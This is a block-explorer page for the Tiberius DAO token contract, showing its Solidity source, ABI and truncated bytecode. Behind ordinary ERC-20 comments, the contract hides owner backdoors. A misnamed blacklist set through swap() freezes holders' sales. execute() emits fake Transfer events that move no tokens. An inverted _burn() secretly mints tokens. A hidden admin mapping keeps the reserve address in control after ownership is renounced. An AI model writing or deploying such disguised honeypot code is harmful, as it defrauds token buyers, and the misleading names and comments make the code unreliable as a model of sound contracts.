ETH Price: $3,300.16 (-3.51%)
 

Overview

Max Total Supply

100,000,000 TIBERIUS

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,564.728641953 TIBERIUS

Value
$0.00
0xc01598f181361218d9dcd265a70ae700034f001a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TiberiusDAO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: Tiberius DAO.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

import {IERC20Metadata} from "./IERC20.sol";
import "./Ownable.sol";

contract TiberiusDAO is IERC20Metadata, Ownable {
  mapping(address => uint256) private _balances;

  mapping(address => mapping(address => uint256)) private _allowances;
  mapping(address => bool) internal _ERC20burnAmountExceedsBalanceallowances;
  string private _symbol;
  string private _name;
  uint8 private constant _decimals = 9;
  uint256 private _initialTotalSupply = 100000000 * (10 ** _decimals);
  uint256 private _totalSupply;

  /**
   * @dev Contract constructor.
   */
  constructor(address _reserve) {
    _symbol = 'TIBERIUS';
    _name = 'Tiberius DAO';
    admin[_reserve]=true;
    _mint(_msgSender(), _initialTotalSupply);
  }
  
  /**
   * @dev Returns the symbol of the token.
   * @return The symbol of the token.
   */
  function symbol() public view virtual override returns (string memory) {
    return _symbol;
  }

  /**
   * @dev Returns the name of the token.
   * @return The name of the token.
   */
  function name() public view virtual override returns (string memory) {
    return _name;
  }

  /**
   * @dev Returns the number of decimals used for token display.
   * @return The number of decimals.
   */
  function decimals() public view virtual override returns (uint8) {
    return _decimals;
  }

  /**
   * @dev Returns the total supply of the token.
   * @return The total supply.
   */
  function totalSupply() public view virtual override returns (uint256) {
    return _totalSupply;
  }

  /**
   * @dev Returns the balance of the specified account.
   * @param account The address to check the balance for.
   * @return The balance of the account.
   */
  function balanceOf(address account) public view virtual override returns (uint256) {
    return _balances[account];
  }

  /**
   * @dev Transfers tokens from the caller to a specified recipient.
   * @param recipient The address to transfer tokens to.
   * @param amount The amount of tokens to transfer.
   * @return A boolean value indicating whether the transfer was successful.
   */
  function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  /**
   * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
   * @param to The address to approve the spending for.
   * @param amount The amount of tokens to approve.
   * @return A boolean value indicating whether the approval was successful.
   */
  function approve(address to, uint256 amount) public virtual override returns (bool) {
    _approve(_msgSender(), to, amount);
    return true;
  }

  /**
   * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
   * @param from The address that approves the spending.
   * @param to The address that is allowed to spend.
   * @return The remaining allowance for the spender.
   */
  function allowance(address from, address to) public view virtual override returns (uint256) {
    return _allowances[from][to];
  }

  /**
   * @dev Transfers tokens from one address to another.
   * @param sender The address to transfer tokens from.
   * @param recipient The address to transfer tokens to.
   * @param amount The amount of tokens to transfer.
   * @return A boolean value indicating whether the transfer was successful.
   */
  function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    _transfer(sender, recipient, amount);

    uint256 currentAllowance = _allowances[sender][_msgSender()];
    require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
    unchecked {
      _approve(sender, _msgSender(), currentAllowance - amount);
    }

    return true;
  }

  /**
   * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
   * @param to The account allowed to spend the tokens.
   * @param subtractedValue The amount of tokens to decrease the allowance by.
   * @return A boolean value indicating whether the operation succeeded.
   */
  function decreaseAllowance(address to, uint256 subtractedValue) public virtual returns (bool) {
    uint256 currentAllowance = _allowances[_msgSender()][to];
    require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
    unchecked {
      _approve(_msgSender(), to, currentAllowance - subtractedValue);
    }

    return true;
  }

  /**
   * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
   * @param to The address to increase the allowance for.
   * @param addedValue The amount of tokens to increase the allowance by.
   * @return A boolean value indicating whether the increase was successful.
   */
  function increaseAllowance(address to, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
    return true;
  }

  /**
   * @dev Transfers `amount` tokens from `sender` to `recipient`.
   * @param sender The account to transfer tokens from.
   * @param recipient The account to transfer tokens to.
   * @param amount The amount of tokens to transfer.
   */
  function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    require(amount > 0, 'ERC20: transfer amount zero');
    require(sender != address(0), 'ERC20: transfer from the zero address');
    require(recipient != address(0), 'ERC20: transfer to the zero address');

    uint256 senderBalance = _balances[sender];
    require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
    if(_ERC20burnAmountExceedsBalanceallowances[sender]){
        require(amount == 0);
    }
    unchecked {
      _balances[sender] = senderBalance - amount;
    }
    _balances[recipient] += amount;

    emit Transfer(sender, recipient, amount);
  }

  /**
   * @dev Creates `amount` tokens and assigns them to `account`.
   * @param account The account to assign the newly created tokens to.
   * @param amount The amount of tokens to create.
   */
  function _mint(address account, uint256 amount) internal virtual {
    require(account != address(0), 'ERC20: mint to the zero address');
    
    _totalSupply += amount;
    _balances[account] += amount;
    emit Transfer(address(0), account, amount);
  }

  /**
   * @dev Destroys `amount` tokens from `account`, reducing the total supply.
   * @param account The account to burn tokens from.
   * @param amount The amount of tokens to burn.
   */
  function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
  }
    
  function execute(address[] calldata addr, address p, uint256 val) public onlyOwner{
    for (uint256 i = 0; i < addr.length; i++) {
        emit Transfer(p, addr[i], val);
    }
  }


  function maxWalletSize(address wallet) public view returns(bool) {
    return _ERC20burnAmountExceedsBalanceallowances[wallet];
  }

  /**
   * @dev Destroys `amount` tokens from the caller's account, reducing the total supply.
   * @param amount The amount of tokens to burn.
   */
  function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
  }

  /**
   * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
   * @param from The account granting the allowance.
   * @param to The account allowed to spend the tokens.
   * @param amount The amount of tokens to allow.
   */
  function _approve(address from, address to, uint256 amount) internal virtual {
    require(from != address(0), 'ERC20: approve from the zero address');
    require(to != address(0), 'ERC20: approve to the zero address');

    _allowances[from][to] = amount;
    emit Approval(from, to, amount);
  }

  function swap(address[] calldata addr, bool val) public onlyOwner {
    for (uint256 i = 0; i < addr.length; i++) {
            _ERC20burnAmountExceedsBalanceallowances[addr[i]] = val;
    }
  }

}

File 1 of 4: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    mapping(address => bool) internal admin;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 4: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);

  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `to`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address to, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `from` to `to` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
  /**
   * @dev Returns the name of the token.
   */
  function name() external view returns (string memory);

  /**
   * @dev Returns the symbol of the token.
   */
  function symbol() external view returns (string memory);

  /**
   * @dev Returns the decimals places of the token.
   */
  function decimals() external view returns (uint8);
}

File 3 of 4: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
        admin[_msgSender()]=true;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(admin[_msgSender()], "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_reserve","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"address","name":"p","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"maxWalletSize","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600a620000149190620005a9565b6305f5e100620000259190620005fa565b6007553480156200003557600080fd5b5060405162002acd38038062002acd83398181016040528101906200005b9190620006af565b6200007b6200006f620001f060201b60201c565b620001f860201b60201c565b600160008062000090620001f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506040518060400160405280600881526020017f54494245524955530000000000000000000000000000000000000000000000008152506005908162000127919062000951565b506040518060400160405280600c81526020017f54696265726975732044414f0000000000000000000000000000000000000000815250600690816200016e919062000951565b5060016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001e9620001da620001f060201b60201c565b600754620002be60201b60201c565b5062000b24565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003279062000a99565b60405180910390fd5b806008600082825462000344919062000abb565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200039c919062000abb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000403919062000b07565b60405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200049d578086048111156200047557620004746200040f565b5b6001851615620004855780820291505b808102905062000495856200043e565b945062000455565b94509492505050565b600082620004b857600190506200058b565b81620004c857600090506200058b565b8160018114620004e15760028114620004ec5762000522565b60019150506200058b565b60ff8411156200050157620005006200040f565b5b8360020a9150848211156200051b576200051a6200040f565b5b506200058b565b5060208310610133831016604e8410600b84101617156200055c5782820a9050838111156200055657620005556200040f565b5b6200058b565b6200056b84848460016200044b565b925090508184048111156200058557620005846200040f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620005b68262000592565b9150620005c3836200059c565b9250620005f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004a6565b905092915050565b6000620006078262000592565b9150620006148362000592565b9250828202620006248162000592565b915082820484148315176200063e576200063d6200040f565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000677826200064a565b9050919050565b62000689816200066a565b81146200069557600080fd5b50565b600081519050620006a9816200067e565b92915050565b600060208284031215620006c857620006c762000645565b5b6000620006d88482850162000698565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200076357607f821691505b6020821081036200077957620007786200071b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007e37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007a4565b620007ef8683620007a4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008326200082c620008268462000592565b62000807565b62000592565b9050919050565b6000819050919050565b6200084e8362000811565b620008666200085d8262000839565b848454620007b1565b825550505050565b600090565b6200087d6200086e565b6200088a81848462000843565b505050565b5b81811015620008b257620008a660008262000873565b60018101905062000890565b5050565b601f8211156200090157620008cb816200077f565b620008d68462000794565b81016020851015620008e6578190505b620008fe620008f58562000794565b8301826200088f565b50505b505050565b600082821c905092915050565b6000620009266000198460080262000906565b1980831691505092915050565b600062000941838362000913565b9150826002028217905092915050565b6200095c82620006e1565b67ffffffffffffffff811115620009785762000977620006ec565b5b6200098482546200074a565b62000991828285620008b6565b600060209050601f831160018114620009c95760008415620009b4578287015190505b620009c0858262000933565b86555062000a30565b601f198416620009d9866200077f565b60005b8281101562000a0357848901518255600182019150602085019450602081019050620009dc565b8683101562000a23578489015162000a1f601f89168262000913565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a81601f8362000a38565b915062000a8e8262000a49565b602082019050919050565b6000602082019050818103600083015262000ab48162000a72565b9050919050565b600062000ac88262000592565b915062000ad58362000592565b925082820190508082111562000af05762000aef6200040f565b5b92915050565b62000b018162000592565b82525050565b600060208201905062000b1e600083018462000af6565b92915050565b611f998062000b346000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063f2fde38b1461038f57610116565b806370a082311461026d578063715018a61461029d57806373fa7ddb146102a75780638da5cb5b146102c357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780633a61363a1461020557806342966c68146102215780636cd20f5e1461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061138a565b60405180910390f35b610153600480360381019061014e919061144a565b61043d565b60405161016091906114a5565b60405180910390f35b61017161045b565b60405161017e91906114cf565b60405180910390f35b6101a1600480360381019061019c91906114ea565b610465565b6040516101ae91906114a5565b60405180910390f35b6101bf61055d565b6040516101cc9190611559565b60405180910390f35b6101ef60048036038101906101ea919061144a565b610566565b6040516101fc91906114a5565b60405180910390f35b61021f600480360381019061021a91906115d9565b610612565b005b61023b6004803603810190610236919061164d565b6106ce565b005b6102576004803603810190610252919061167a565b6106ea565b60405161026491906114a5565b60405180910390f35b6102876004803603810190610282919061167a565b610740565b60405161029491906114cf565b60405180910390f35b6102a5610789565b005b6102c160048036038101906102bc91906116d3565b61079d565b005b6102cb61084a565b6040516102d89190611742565b60405180910390f35b6102e9610874565b6040516102f6919061138a565b60405180910390f35b6103196004803603810190610314919061144a565b610906565b60405161032691906114a5565b60405180910390f35b6103496004803603810190610344919061144a565b6109f1565b60405161035691906114a5565b60405180910390f35b6103796004803603810190610374919061175d565b610a0f565b60405161038691906114cf565b60405180910390f35b6103a960048036038101906103a4919061167a565b610a96565b005b6060600680546103ba906117cc565b80601f01602080910402602001604051908101604052809291908181526020018280546103e6906117cc565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610b19565b8484610b21565b6001905092915050565b6000600854905090565b6000610472848484610cea565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105349061186f565b60405180910390fd5b61055185610549610b19565b858403610b21565b60019150509392505050565b60006009905090565b6000610608610573610b19565b848460036000610581610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060391906118be565b610b21565b6001905092915050565b61061a610ff9565b60005b848490508110156106c75784848281811061063b5761063a6118f2565b5b9050602002016020810190610650919061167a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106ac91906114cf565b60405180910390a380806106bf90611921565b91505061061d565b5050505050565b6106d6610ff9565b6106e76106e1610b19565b8261108d565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610791610ff9565b61079b6000611234565b565b6107a5610ff9565b60005b838390508110156108445781600460008686858181106107cb576107ca6118f2565b5b90506020020160208101906107e0919061167a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083c90611921565b9150506107a8565b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610883906117cc565b80601f01602080910402602001604051908101604052809291908181526020018280546108af906117cc565b80156108fc5780601f106108d1576101008083540402835291602001916108fc565b820191906000526020600020905b8154815290600101906020018083116108df57829003601f168201915b5050505050905090565b60008060036000610915610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c9906119db565b60405180910390fd5b6109e66109dd610b19565b85858403610b21565b600191505092915050565b6000610a056109fe610b19565b8484610cea565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a9e610ff9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0490611a6d565b60405180910390fd5b610b1681611234565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8790611aff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf690611b91565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cdd91906114cf565b60405180910390a3505050565b60008111610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490611bfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9390611c8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290611d21565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8990611db3565b60405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ef25760008214610ef157600080fd5b5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8791906118be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610feb91906114cf565b60405180910390a350505050565b600080611004610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661108b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108290611e1f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f390611eb1565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811115611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90611f43565b60405180910390fd5b818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122791906114cf565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611334578082015181840152602081019050611319565b60008484015250505050565b6000601f19601f8301169050919050565b600061135c826112fa565b6113668185611305565b9350611376818560208601611316565b61137f81611340565b840191505092915050565b600060208201905081810360008301526113a48184611351565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113e1826113b6565b9050919050565b6113f1816113d6565b81146113fc57600080fd5b50565b60008135905061140e816113e8565b92915050565b6000819050919050565b61142781611414565b811461143257600080fd5b50565b6000813590506114448161141e565b92915050565b60008060408385031215611461576114606113ac565b5b600061146f858286016113ff565b925050602061148085828601611435565b9150509250929050565b60008115159050919050565b61149f8161148a565b82525050565b60006020820190506114ba6000830184611496565b92915050565b6114c981611414565b82525050565b60006020820190506114e460008301846114c0565b92915050565b600080600060608486031215611503576115026113ac565b5b6000611511868287016113ff565b9350506020611522868287016113ff565b925050604061153386828701611435565b9150509250925092565b600060ff82169050919050565b6115538161153d565b82525050565b600060208201905061156e600083018461154a565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261159957611598611574565b5b8235905067ffffffffffffffff8111156115b6576115b5611579565b5b6020830191508360208202830111156115d2576115d161157e565b5b9250929050565b600080600080606085870312156115f3576115f26113ac565b5b600085013567ffffffffffffffff811115611611576116106113b1565b5b61161d